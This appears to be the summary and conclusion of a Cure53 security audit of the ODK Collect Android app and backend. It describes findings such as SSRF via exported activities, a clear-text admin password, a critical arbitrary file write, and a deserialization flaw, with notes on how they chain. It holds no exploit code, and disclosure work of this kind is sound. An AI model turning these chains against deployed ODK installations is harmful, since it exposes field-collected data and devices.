As noted in the *Introduction*, this summer 2024 penetration test and security assessment consisted of three work packages: WP1 covers white-box penetration tests against the Android mobile app, WP2 corresponds to white-box penetration tests against the backend, while WP3 pertains to the ODK threat model documentation and security architecture documentation.

Prior to initiating the examinations, the ODK team handed over a package of resources to foster a hindrance-free test environment, including source code, documentation, and credentials. Cure53 maintained ongoing communication with the security team via a dedicated Slack channel. The interactions were highly productive and assistance was readily available upon request. Additionally, the testing team regularly provided updates on the project's status.

The adopted white-box approach significantly increased the effectiveness of the audit, allowing Cure53 to probe the Android application for security vulnerabilities in the code and running environments. For clarity, one should note that the audited app version was v2024.1.3, as downloaded from Google Play.

ODK provides two hosting options for the backend: one self-hosted, and the other within AWS cloud (managed by ODK). This security evaluation did not deploy a self-hosted instance and solely leveraged the deployed backend provisioned by ODK, which was reachable under *https://pentest.getodk.cloud*. Moreover, Cure53 must reiterate that WP2 pertained to the backend services on an application level only; a security review of the ODK infrastructure in AWS was not conducted.

In general, the Cure53 consultants applied advanced test techniques while searching for issues related to the OWASP Mobile Top 10 that may affect the ODK Android mobile application. This included (but was not limited to) subpar platform usage, insecure data storage and communication, insufficient cryptography, and similar.

In compliance with standard practices for security inspections of backend API interfaces, particular priority was given to common associated vulnerabilities related to authentication, authorization, injection attacks, and SSRF.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The testing team also honed in on the authorization business logic implemented by the server code. No negative security ramifications were observed in this area, despite painstaking efforts. The cryptographic functionality, particularly those in the quarantine directory, were also subjected to investigation.

Elsewhere, the code was scanned for a variety of commonly encountered attack strategies, such as frontend XSS flaws either in the ODK codebase or due to insufficient validation in the server code.

To summarize, the security posture of the server codebase would benefit from improvement. In particular, the lack of types in the server codebase ultimately magnifies the likelihood of certain vulnerability classes. The manually integrated SQL query construction (as opposed to prepared statement usage) and manual cryptographic primitive implementations were considered risk-inducing.

The Android app lacks several security measures to protect against breaches, unnecessarily expanding the attack surface through numerous concerns, as detailed below:

- Configuring a test environment was straightforward, since the ODK app can be installed on a rooted device. This allowed the auditors to utilize the objection framework for setup, facilitating the inspection of traffic between the app and backend. While the lack of rooted device detection is suboptimal from a security perspective, this was not deemed a reportable fault for an application such as ODK.

- To commence the analyses, the testers appraised the Android application's general attack surface by determining the methods by which the app's integration with the respective ecosystem and communication with the platform APIs are handled. Here, the exposed activities, broadcasts, content providers, and services were studied for manipulation via intents and possible data leakage. These endeavors confirmed the ability to crash the mobile app via malformed intents sent from another app, as explained in ticket ODK-01-001. Additionally, two instances of unprotected and exported activities were identified that fostered SSRF. A malicious app can exploit these vulnerabilities to force the ODK Android application into sending requests to an attacker-controlled server by passing arguments to the unprotected activity (see ticket ODK-01-009).

- Certain settings within the Android application can be protected by establishing an administrative password. However, a review of this protection layer verified that it offers minimal security and is susceptible to several limitations. Firstly, users can set trivially weak and easily guessable passwords, considering that single-character compositions are accepted (see ticket ODK-01-003). Secondly, the admin password is stored in clear text within the shared preferences, as discussed in ticket ODK-01-004. If leveraged in tandem with the arbitrary file read vulnerability outlined in ticket ODK-01-008, this flaw enables attackers to obtain access to the admin password.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

- The Android version could be enhanced by removing support for outdated and unmaintained versions that may introduce n-day vulnerabilities (see ODK-01-006). Similarly, Cure53 recommends retracting support for the insecure v1 APK signature scheme, for which supplemental advice is offered in ticket ODK-01-005.

- The Android app's *network_security_config* presented a *Medium*-impact finding pertaining to the acceptance of clear-text HTTP communications, as described in ticket ODK-01-002.

- The ODK Android application explicitly sets the *allowBackup* flag to *true*, which can be leveraged for data exfiltration purposes (see ODK-01-007).

- Furthermore, the mobile application was found to transmit sensitive data via the URL in HTTP *GET* requests; specifically, the access key required to join a project. While this does not evoke direct security impact, this data may be logged in multiple locations, such as the web server and in all forward- or reverse-proxies en route (see ODK-01-011).

- The ODK Collect Android application sanitizes filenames in a substandard manner, allowing for arbitrary file writes and exfiltration of sensitive data from the device. This *Critical* vulnerability poses grave risk by enabling unauthorized access to configuration files, potentially exposing confidential information and compromising the integrity of both the application and the device (see ODK-01-008).

- The ODK Collect Android application was verifiably prone to a deserialization vulnerability, specifically concerning the handling of serialized objects used to save the state of incomplete forms. While the affected file is assumedly non-user-controllable, attackers could exploit other vulnerabilities (such as an arbitrary file write) to deliver malicious payloads, hence leading to unauthorized access or code execution (see ODK-01-010).

Finally, some of the identified issues directly correspond to threats that were marked and listed by ODK within the security architecture and threat modeling documentation (WP3). For example, one major risk defined by ODK was malicious actors pulling data from an ODK-operating device, which is possible by chaining the weaknesses outlined in ticket ODK-01-008. In-depth research of the admin password feature indicated subpar shielding, as explained in ODK-01-003 and ODK-01-004. On the positive side, the logging mechanism was sufficiently clean, robust, and invulnerable to sensitive data leakage within system logs. This was confirmed by perusing the created log messages while interacting with the mobile app using the ADB logcat utility, as well as delving into the log files persisted on the device.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Moving forward, Cure53 strongly recommends committing to periodic security evaluations and checks. Ideally, engagements of this nature should be performed at least once per year, or prior to rolling out major framework modifications, in order to guarantee that the construct is capable of dealing with emergent vulnerabilities.

To conclude, this security review achieved satisfactory coverage over all WPs, identifying a multitude of security-relevant issues that provide ample opportunity for hardening measures. Once all documented tickets have been systematically addressed, the ODK mobile application and backend will exhibit an adequately safeguarded security posture suitable for production use.

Cure53 would like to thank Hélène Martin, Yaw Anokwa, Alex Anderson, and Callum Stott from the Get ODK, Inc. team for their excellent project coordination, support, and assistance, both before and during this assignment.